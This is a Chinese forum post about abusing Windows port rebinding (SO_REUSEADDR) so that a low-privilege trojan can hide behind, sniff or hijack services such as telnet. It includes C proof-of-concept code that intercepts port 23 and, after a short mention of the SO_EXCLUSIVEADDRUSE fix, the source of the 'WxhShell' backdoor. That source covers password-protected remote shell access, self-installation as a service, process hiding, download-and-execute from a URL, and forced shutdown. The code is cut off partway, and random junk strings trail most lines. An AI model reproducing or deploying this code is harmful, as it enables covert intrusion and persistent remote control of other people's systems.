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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =[ $zR>o*%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H#LlxD)q  
)^C w  
  saddr.sin_family = AF_INET; d1`us G"  
h!"| Q"18  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T%\f$jh6  
4l6+8/Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @AgV7#  
7:h8b/9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QF7iU@%-  
F^v <z)x  
  这意味着什么?意味着可以进行如下的攻击: Zu$30&U  
j;|rI`67~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f~LM-7!zf}  
1P'R-I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OC[+t6  
~S],)E1w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k3 65.nc  
\*C}[D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ +`   
sKkk+-J4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &4%j   
)i;o\UU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5Z`9L| 3d  
P7||d@VW,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 AvN\^ &G  
FE`:1  
  #include jG0o-x=X  
  #include ~;f,Ad`Q  
  #include C>?`1d@  
  #include    Rr#vv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *:q,G  
  int main() p&:(D=pIu  
  { <Q4yN!6  
  WORD wVersionRequested; -qPYm?$  
  DWORD ret; d@:4se-q+  
  WSADATA wsaData; s5s'$|h"  
  BOOL val; Z"# /,?|3@  
  SOCKADDR_IN saddr; 6+MZ39xC  
  SOCKADDR_IN scaddr; gZFtV  
  int err; H^N@fG<*dh  
  SOCKET s; Z.Sq5\d  
  SOCKET sc; kO]],Vy`  
  int caddsize; @ y (9LSs  
  HANDLE mt; 6<h?%j(  
  DWORD tid;   v\Y362Xv  
  wVersionRequested = MAKEWORD( 2, 2 ); }#[MV+D  
  err = WSAStartup( wVersionRequested, &wsaData ); gCMwmanX  
  if ( err != 0 ) { @q?zh'@;  
  printf("error!WSAStartup failed!\n"); O>=D1no*  
  return -1; )V}u}5  
  } uKI2KWU?2  
  saddr.sin_family = AF_INET; 6QCU:2IiL  
   BCE} Er&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i#@3\&{J>  
v.08,P{b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .{-&3++WZ  
  saddr.sin_port = htons(23); ]#C;)Vy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vp;^_,  
  { *g}(qjl<  
  printf("error!socket failed!\n"); X0=#e54  
  return -1; ;OlC^\e  
  } !,#42TY*X  
  val = TRUE; t\hvhcbL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \X=?+| 9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z2yZz:.'  
  { 6wzTX8  
  printf("error!setsockopt failed!\n"); X]?qns7  
  return -1; 6$}hb|j  
  } y%X{[F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?(cbZ#( o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <bPn<QI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @ (UacFO  
7*e7P[LQU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A~CQ@  
  { IAD_Tck  
  ret=GetLastError(); !H`! KBW  
  printf("error!bind failed!\n"); UIUCj8QJg  
  return -1; rUX1Iu7  
  } D Hkmn  
  listen(s,2); -Mb`I >=  
  while(1) z@lUaMm:F  
  { !BN7 B  
  caddsize = sizeof(scaddr); ~aK@M4  
  //接受连接请求 Wx;`=9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /7$3RV(  
  if(sc!=INVALID_SOCKET) s V70a 3#  
  { !5rja-h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `TM[7'  
  if(mt==NULL) :nuMakZZ  
  { Yg5m=Lis  
  printf("Thread Creat Failed!\n"); wG1A]OJl1  
  break; kI>Iq Q-h  
  } ncEOz1u  
  } "y_A xOH  
  CloseHandle(mt); &;~x{q]3  
  } o}XbFL n  
  closesocket(s); b(lC7Xm  
  WSACleanup(); |OXufV?I  
  return 0; ?fB}9(6  
  }   S7cxEOfAu  
  DWORD WINAPI ClientThread(LPVOID lpParam) P +U=/$o  
  { 26fbBt8nP  
  SOCKET ss = (SOCKET)lpParam; rBv  
  SOCKET sc; 0hTv0#j#  
  unsigned char buf[4096]; >&K1+FSmyJ  
  SOCKADDR_IN saddr; x)M=_u2 _  
  long num; T{1Z(M+  
  DWORD val; fmDU  
  DWORD ret; fqaysy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5>J{JW|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A^PCI*SN[  
  saddr.sin_family = AF_INET; CD\k.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]XX8l:+  
  saddr.sin_port = htons(23); BJgg-z{Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YYrXLt:  
  { ;dt&* ]wA  
  printf("error!socket failed!\n"); _y Q*  
  return -1; <Z^t^ O  
  } w$~|/UrLf  
  val = 100; $`:/O A<.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hcEU kD  
  { P 0xInW F  
  ret = GetLastError(); \`N%77A  
  return -1; Gld|w=qr  
  } rs$sAa*f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zi~_[l-  
  { "Jw6.q+  
  ret = GetLastError(); ;eznONNF  
  return -1; Dp 0   
  } _w+ix9Fr?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2.=3:q!H<%  
  { rA9BY :N@  
  printf("error!socket connect failed!\n"); (\ `knsE!  
  closesocket(sc); dQ97O{O:i  
  closesocket(ss); KsM2?aqwf_  
  return -1; i 7:R4G(/#  
  } i]{M G'tg  
  while(1) 41y}n{4n8  
  { .aWEXJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :]%z8,6k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,bRvj8"M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _5I" %E;S  
  num = recv(ss,buf,4096,0); } FcWzi  
  if(num>0) | fAt[e_E  
  send(sc,buf,num,0); 4e d+'-"m  
  else if(num==0) %C*oy$.  
  break; PJu)%al  
  num = recv(sc,buf,4096,0); yZ t}Jnv  
  if(num>0) "|{O%X  
  send(ss,buf,num,0); pqPhtWi%PJ  
  else if(num==0) =T$-idx1l  
  break; ~c7}eTJd"  
  } S_cba(0-|\  
  closesocket(ss); MF/359r)Et  
  closesocket(sc); Ob+L|FbnN  
  return 0 ; EB'(%dH  
  } tp2CMJc{L  
g_Wf3o857J  
8M m,a  
========================================================== * ";A~XNx  
M$L1!o1Xf  
下边附上一个代码,,WXhSHELL ^g`1SU`  
SGn:f>N  
========================================================== #z{9:o7[-  
{.tUn`j6V  
#include "stdafx.h" YC\~PVG  
X$w ,zb\  
#include <stdio.h> -:(,<Jt<  
#include <string.h> PdG:aGQ>  
#include <windows.h> ` INcZr"  
#include <winsock2.h> |V{'W-` |[  
#include <winsvc.h> 2ul!f7#E  
#include <urlmon.h> aF4vNUeG  
hA)tad]  
#pragma comment (lib, "Ws2_32.lib") w~>V2u_-  
#pragma comment (lib, "urlmon.lib") }0c  
 Ex35  
#define MAX_USER   100 // 最大客户端连接数 Wbc*x  
#define BUF_SOCK   200 // sock buffer /X)fWO S6  
#define KEY_BUFF   255 // 输入 buffer Hk%m`|Z  
e$|g  
#define REBOOT     0   // 重启 ) 'x4#5]  
#define SHUTDOWN   1   // 关机 %7q,[g8  
Hs<vCL \  
#define DEF_PORT   5000 // 监听端口 SlvQ)jw%  
EeWCy5W  
#define REG_LEN     16   // 注册表键长度 u= ( kii=/  
#define SVC_LEN     80   // NT服务名长度 RWf4Wh?d  
('!90  
// 从dll定义API &G?b|Tb2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?1 $.^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @qH{;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H"f%\'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?g2Wu0<  
Gc}d#oo*k  
// wxhshell配置信息 aloP@U/\Sn  
struct WSCFG { D^P_3 B+  
  int ws_port;         // 监听端口 E7^r3#s  
  char ws_passstr[REG_LEN]; // 口令 2F+K(  
  int ws_autoins;       // 安装标记, 1=yes 0=no hH8:7i  
  char ws_regname[REG_LEN]; // 注册表键名 Jla ;^X  
  char ws_svcname[REG_LEN]; // 服务名 |) QE+|?P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #kT3Sx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rz0~W6 U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wYZFW'5p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gl-O"%rMcL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'l2'%@E>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :N5R.@9  
gTZ1LJ  
}; '~A~gK0  
n?vrsqmZ  
// default Wxhshell configuration ~0r:Wcj x  
struct WSCFG wscfg={DEF_PORT, bY7d  
    "xuhuanlingzhe", K:/%7A_{  
    1, eZs34${fN  
    "Wxhshell", xS]=WO*  
    "Wxhshell", RVtb0FL  
            "WxhShell Service", O7bTu<h=  
    "Wrsky Windows CmdShell Service", e>1z1Q;_uv  
    "Please Input Your Password: ", SN O'*?  
  1, *KSQ^.sYh  
  "http://www.wrsky.com/wxhshell.exe", ^'r/;(ZF*/  
  "Wxhshell.exe" \'6hv>W@  
    }; rWEJCFa  
~=i9]%g ?  
// 消息定义模块 ~7T]l1]W%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VqLqj$P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;_)&#X,?(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #:v}d+  
char *msg_ws_ext="\n\rExit."; JX@/rXFY}  
char *msg_ws_end="\n\rQuit."; FS30RP3 `/  
char *msg_ws_boot="\n\rReboot..."; %g}ri8  
char *msg_ws_poff="\n\rShutdown..."; PvX>+y5  
char *msg_ws_down="\n\rSave to "; sF}T9 Ue  
_M= \s>;G  
char *msg_ws_err="\n\rErr!"; dX-Xzg  
char *msg_ws_ok="\n\rOK!"; 82Dw,Cn  
%JmSCjt`G  
char ExeFile[MAX_PATH]; GB Ia Ul  
int nUser = 0; PX}YDC zP$  
HANDLE handles[MAX_USER]; hSE\RX 9  
int OsIsNt; hl?G_%a  
U7(84k\j  
SERVICE_STATUS       serviceStatus; C]K|;VQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lO>w|=<  
-kT *gIJ}  
// 函数声明 V9f$zjpw  
int Install(void); hb'S!N5m  
int Uninstall(void); &m_4#  
int DownloadFile(char *sURL, SOCKET wsh); \&|)?'8rS  
int Boot(int flag); PJLSDIeN  
void HideProc(void); &wr0HrE\  
int GetOsVer(void); ^@e4m O  
int Wxhshell(SOCKET wsl); s0 hD;`cm  
void TalkWithClient(void *cs); v<N7o8  
int CmdShell(SOCKET sock); p me5frM|  
int StartFromService(void); 'v iF8?_  
int StartWxhshell(LPSTR lpCmdLine); deO/`  
l -us j%\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -bT1Qh X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7<DlA>(oUX  
7(AB5.O  
// 数据结构和表定义 SbI %|  
SERVICE_TABLE_ENTRY DispatchTable[] = 8?AFvua}r  
{ O` R@6KG  
{wscfg.ws_svcname, NTServiceMain}, |GJSAs"L@  
{NULL, NULL} VJ;4~WgBz  
}; @w|'ip5@  
dBkw.VO W  
// 自我安装 u*0Ck*pZ  
int Install(void) OI</o0Ca  
{ 1TeYA6 t  
  char svExeFile[MAX_PATH]; ;:NW  
  HKEY key; ;LM`B^Q]s  
  strcpy(svExeFile,ExeFile); WrBiAh,  
o_hk!s^4m  
// 如果是win9x系统,修改注册表设为自启动 3(l^{YC+[7  
if(!OsIsNt) { WVlyR\.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3:1 h:Yc<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [A99e`  
  RegCloseKey(key); -E_lwK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H7!j5^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FY h+G-Y#  
  RegCloseKey(key); U 1!6%x  
  return 0; |9c J O@  
    } ~ _R 8; b  
  } bC{1LY0  
} R@_i$Df|  
else { uzjP!qO  
(F9U`1~4  
// 如果是NT以上系统,安装为系统服务 Ao>] ~r0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KLi&T mIB  
if (schSCManager!=0) *mH++3h  
{ R]hilb'a  
  SC_HANDLE schService = CreateService _s{on/u  
  ( #1c%3KaZ I  
  schSCManager, b`M  2VZu  
  wscfg.ws_svcname, $A"C1)d;  
  wscfg.ws_svcdisp, t/xWJW2  
  SERVICE_ALL_ACCESS, w+c%Y\:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]Q-*xho  
  SERVICE_AUTO_START, CtiTXDc_  
  SERVICE_ERROR_NORMAL, $<&N#  
  svExeFile, <2Q+? L{  
  NULL, 1#BMc%  
  NULL, ;#a^M*e  
  NULL, zyb>PEd.  
  NULL, GSck^o2{  
  NULL ^i>Tm9vM  
  ); $e>(M&9,  
  if (schService!=0) d'Cn] <  
  { iupuhq$ ]  
  CloseServiceHandle(schService); F2jZ3[P  
  CloseServiceHandle(schSCManager); xx[XwN;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '*K}$+l  
  strcat(svExeFile,wscfg.ws_svcname); "tax  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i#c1 ZC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rt-^?2c?  
  RegCloseKey(key); mOm_a9M L  
  return 0; ro:B[XE  
    } M@\A_x(Mas  
  } j?a^fcXB  
  CloseServiceHandle(schSCManager); op!8\rM<e  
} Yn!)('FdT!  
} c8'a<<sj  
l0hcNEj{W  
return 1; w"?H4  
} <OF2\#Nh  
OEMYS I%  
// 自我卸载 BllS3I}V  
int Uninstall(void) =z_.RE  
{ `r?xo7  
  HKEY key; z  u53mZ  
jx*jYil  
if(!OsIsNt) { -.XICKz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J@$h'YUF  
  RegDeleteValue(key,wscfg.ws_regname); -qv*%O@  
  RegCloseKey(key); <0R$yB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -%R3YU3  
  RegDeleteValue(key,wscfg.ws_regname); >/W  
  RegCloseKey(key); PHZ+u@AA6@  
  return 0; {,V.IDs8[  
  } %+BiN)R*x  
} ~MuD`a7#G  
} s#phs `v  
else { t]dtBt].:  
LU'<EXUbY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); la37cG  
if (schSCManager!=0) Q)`3&b  
{ QYl Pr&O9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2VB|a;Mo  
  if (schService!=0) OFcL h  
  { nd~cpHQR^  
  if(DeleteService(schService)!=0) { zn!H&!8&  
  CloseServiceHandle(schService); ,0j7qn@tm  
  CloseServiceHandle(schSCManager); K=S-p3\g  
  return 0; J3 Y-d7=|  
  } k :KN32%  
  CloseServiceHandle(schService); b A/,{R  
  } /=o~7y  
  CloseServiceHandle(schSCManager); Pn&!C*,  
} G)<NzZo  
} x?5D>M/Y  
FBDRbJ su  
return 1; F?h{IH f  
} {0~ Sj%Ze  
}K<% h  
// 从指定url下载文件 ^?-SMcUHB  
int DownloadFile(char *sURL, SOCKET wsh) 0#$<2  
{ qe M`z  
  HRESULT hr; |r|<cc#  
char seps[]= "/"; T;?=,'u  
char *token;  (TKn'2  
char *file; d'bAM{R>  
char myURL[MAX_PATH]; 0O@UT1 M;v  
char myFILE[MAX_PATH]; idG}p+(;  
JI"&3H")g%  
strcpy(myURL,sURL); c%?31 t  
  token=strtok(myURL,seps); Dm^Bk?#(  
  while(token!=NULL) E;I'b:U`  
  { 0-s[S  
    file=token; YTb/ LeuT  
  token=strtok(NULL,seps); S5%I+G3  
  } 3vcKK;qCB  
B<V8:vOam  
GetCurrentDirectory(MAX_PATH,myFILE); KM'*+.I  
strcat(myFILE, "\\");  ~OdE!!  
strcat(myFILE, file); -MA/:EB  
  send(wsh,myFILE,strlen(myFILE),0); 9V]{q  
send(wsh,"...",3,0); Vn7FbaO^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,RA;X  
  if(hr==S_OK) jUtFDw  
return 0; '3<AzR2  
else qwf97pg$  
return 1; /"q wC  
AbqeZn  
} pgp@Zw)r)k  
%1\MW+  
// 系统电源模块 "W"2 Y(  
int Boot(int flag) h vC gd^M  
{ KR49Y>s<  
  HANDLE hToken; =qg;K'M5  
  TOKEN_PRIVILEGES tkp; ?.*^#>-  
84X/=l-c=  
  if(OsIsNt) { By&ibN),  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v@qU<\Y>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;$il_xA)\>  
    tkp.PrivilegeCount = 1; aAT!$0H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CC,f*I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,\%qERk  
if(flag==REBOOT) { { /u}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k Q Sx65  
  return 0; R&v V! d  
} YA?46[:  
else { ?FV>[&-h#I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Oh&k{DWE$  
  return 0; 6=aXz2.f  
} [B2g{8{!  
  } .+.'TY--  
  else { 8lNkY`P7s  
if(flag==REBOOT) { 3EVAB0/$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kw/7X[|'G  
  return 0; %}`zq8Q;  
} _MmSi4]yd  
else { [yyL2=7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $'I-z.GV  
  return 0; QTC-W2t]  
} XCP/e p  
} <3SO1@?  
=sIkA)"!=  
return 1; A.8[FkiNmD  
} 8AGP*"gI  
Y|3n^%I  
// win9x进程隐藏模块 w4<n=k  
void HideProc(void) >Q-"-X1  
{  l,lfkm  
2jT2~D.U1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F\Z|JCA  
  if ( hKernel != NULL ) \LEU reTn  
  { g> <*qd?t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); izvwXC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O8mmS!  
    FreeLibrary(hKernel); O]1aez[  
  } -Uj3?W  
)8_ x  
return; Q)s`~G({P  
} p~evPTHnrX  
\46 'j.  
// 获取操作系统版本 xIb"8,N  
int GetOsVer(void) ->u}b?aF  
{ cH7Gb|,M  
  OSVERSIONINFO winfo;  yh'uH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G.B~n>}JU,  
  GetVersionEx(&winfo); Mr}K-C?ge  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DKG99biJN  
  return 1; LJ{P93aq`^  
  else {;2Gl$\r  
  return 0; D=^|6}  
} i^Ip+J+[  
kp=wz0#  
// 客户端句柄模块 ?]]7PEee*  
int Wxhshell(SOCKET wsl) 0;/},B[A  
{ -|WQs'%O  
  SOCKET wsh; '[zy%<2sL  
  struct sockaddr_in client; GU,ztO.w3  
  DWORD myID; ?E6 C|A$I  
g~v>{F+u  
  while(nUser<MAX_USER) VX+:C(m~  
{ b9L" ?{  
  int nSize=sizeof(client); 9l&4mt;+&<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;3P~eeQR  
  if(wsh==INVALID_SOCKET) return 1; J9V,U;"\  
D>`lN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0Q)m>oL.  
if(handles[nUser]==0) ?]/"AWUX  
  closesocket(wsh); 6}"t;4@$x  
else Ty5}5)CRZ  
  nUser++; vd FP ^06  
  } Q^@z]Sc[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VQ(l=k:}2  
J;#7dRW{  
  return 0; n%&+yg   
} )Zbrg~-@  
=K8z8K?  
// 关闭 socket t \;,$i  
void CloseIt(SOCKET wsh) {~0r3N4Zl  
{ ":Uv u[-  
closesocket(wsh); L >HyBB  
nUser--; k%TjRf{p  
ExitThread(0); ^- H  
} hTS?+l  
[39  
// 客户端请求句柄 YkJnZ_k/P  
void TalkWithClient(void *cs) %1UdG6&J_  
{ tGVC"a  
M\L^ Wf9  
  SOCKET wsh=(SOCKET)cs; ;UPI%DnE]  
  char pwd[SVC_LEN]; # M18&ld,r  
  char cmd[KEY_BUFF]; h3BDHz,  
char chr[1]; qP4vH]  
int i,j; 6_a~ 4_#  
EpdSsfDP  
  while (nUser < MAX_USER) { }\oy%]_mY  
UtzM+7r@  
if(wscfg.ws_passstr) { Z%9_vpWc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]R%+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fKkH [  
  //ZeroMemory(pwd,KEY_BUFF); d'UCPg<Y  
      i=0; ;%V)lP"o  
  while(i<SVC_LEN) { ~Kll.  
M # ) @!  
  // 设置超时 .j l|? o  
  fd_set FdRead; tMOhH #  
  struct timeval TimeOut; i286`SLU  
  FD_ZERO(&FdRead); 7 yp}  
  FD_SET(wsh,&FdRead); *)82iD  
  TimeOut.tv_sec=8; 1 2y+g5b  
  TimeOut.tv_usec=0; =1e>$E#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y-y<gW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9yWQ}h  
>j}.~$6dj_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m6iQB\ \  
  pwd=chr[0]; =ec"G2$?"  
  if(chr[0]==0xd || chr[0]==0xa) { |x/00XhS  
  pwd=0; [~U CYYl  
  break; FNgC TO%  
  } Lju)q6  
  i++; am(jmf::  
    } ]<g`rR7}  
t/Y)%N  
  // 如果是非法用户,关闭 socket xa]e9u%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ['#3GJz-  
} )DwHLaLW  
@yxF/eeEy+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8D5v'[j-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0k):OVfm=  
:o=a@Rqx  
while(1) { TW)~&;1l  
kD{qW=Lpn  
  ZeroMemory(cmd,KEY_BUFF); _=ziw|zI  
w\(; >e@  
      // 自动支持客户端 telnet标准   Xn3 \a81  
  j=0; alz2F.%Y  
  while(j<KEY_BUFF) { 4pG!m&4]ze  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n"dYN3dE  
  cmd[j]=chr[0]; H=1Jq  
  if(chr[0]==0xa || chr[0]==0xd) { 5A`T}~"X  
  cmd[j]=0; V^/]h u  
  break; p*OpO&oodu  
  } <o:|0=Sw b  
  j++; n7*.zI]%&  
    } OHyBNJ  
^!yJ;'H\  
  // 下载文件 } Rs@  
  if(strstr(cmd,"http://")) { ,d~6LXr<fM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B kh1VAT  
  if(DownloadFile(cmd,wsh)) Yfjp:hg/!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {- Y.C*E  
  else y>jP]LR4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FdFN4{<QZ  
  } |xX>AMZc)D  
  else { 3S h#7"K3  
aZBb@~Y  
    switch(cmd[0]) { 4b<>gpQ  
  K! e51P  
  // 帮助 Ubf@"B  
  case '?': { '3eL^Aq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z&[_8Y5j  
    break; ;f l3'.S[  
  } 2uy<wJE >  
  // 安装 MlmdfO%Y  
  case 'i': { vpL3XYs`  
    if(Install()) #V#sg}IhM?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _DAj$$ Ru4  
    else @?YO_</  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u>-pg u  
    break; f\]splL  
    } `%nj$-W:  
  // 卸载 hH])0C  
  case 'r': { /@`kM'1:  
    if(Uninstall()) sBV})8]K M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J rgpDZ  
    else @24)*d^1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9zs!rlzQ  
    break; u/S{^2`b  
    } &>$+O>c ,  
  // 显示 wxhshell 所在路径 3qNLosm#M  
  case 'p': { (//f"c]/  
    char svExeFile[MAX_PATH]; Gr}lr gPS  
    strcpy(svExeFile,"\n\r"); ~4'AnoD1w  
      strcat(svExeFile,ExeFile); 0oiz V;B5%  
        send(wsh,svExeFile,strlen(svExeFile),0); 1p }:K`#{  
    break; @M_p3[c\  
    } "CcdwWM  
  // 重启 >Ndck2@  
  case 'b': { #cdrobJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~;uc@GGo  
    if(Boot(REBOOT)) m2h@*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *%;+3SV  
    else { RwyRPc _  
    closesocket(wsh); l:$i}.C  
    ExitThread(0); TOC2[m c'  
    } ~&\}qz3  
    break; /CfgxPo  
    } &w"1VOV<  
  // 关机 G}8Zkz@+  
  case 'd': { ~P;KO40K  
